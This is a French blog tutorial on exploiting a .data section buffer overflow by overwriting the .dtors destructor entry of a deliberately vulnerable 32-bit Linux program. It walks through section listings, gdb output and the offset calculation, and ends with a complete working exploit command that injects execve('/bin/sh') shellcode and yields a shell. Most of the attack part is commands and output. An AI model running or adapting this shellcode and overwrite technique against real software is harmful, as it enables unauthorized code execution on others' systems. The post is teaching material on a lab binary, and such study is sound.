.Data Section overflow

Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|

Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .

Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .

Commençons la pratique :

Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :

[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440

.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor

.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524

.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable

.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7

Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).

Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.

---------------------------------->
Organisation des Ctors et Dtors:

0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .

Dans vuvu.c , la section .dtors est justement vide :

---------------------------------->

[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu

bss2: file format elf32-i386

Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :

---------------------------------->


(gdb) disas main
Dump of assembler code for function main:
0x08048344 : lea 0x4(%esp),%ecx
0x08048348 : and $0xfffffff0,%esp
0x0804834b : pushl 0xfffffffc(%ecx)
0x0804834e : push %ebp
0x0804834f : mov %esp,%ebp
0x08048351 : push %ecx
0x08048352 : sub $0x14,%esp
0x08048355 : mov 0x4(%ecx),%eax
0x08048358 : add $0x4,%eax
0x0804835b : mov (%eax),%eax
0x0804835d : mov %eax,0x4(%esp)
0x08048361 : movl $0x8049560,(%esp)
0x08048368 : call 0x80482b0
0x0804836d : add $0x14,%esp
0x08048370 : pop %ecx
0x08048371 : pop %ebp
0x08048372 : lea 0xfffffffc(%ecx),%esp
0x08048375 : ret
End of assembler dump.

---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560

--------------------------
Adresse de la section Dtors:

(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.

.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....

-------------------------

(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000

Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------

(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.

On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254

Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :

[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable

Proof of concept (pl)

Et comme l'été on s'ennui :

Proof of concept (c)

<---------------------------------- See you .... o/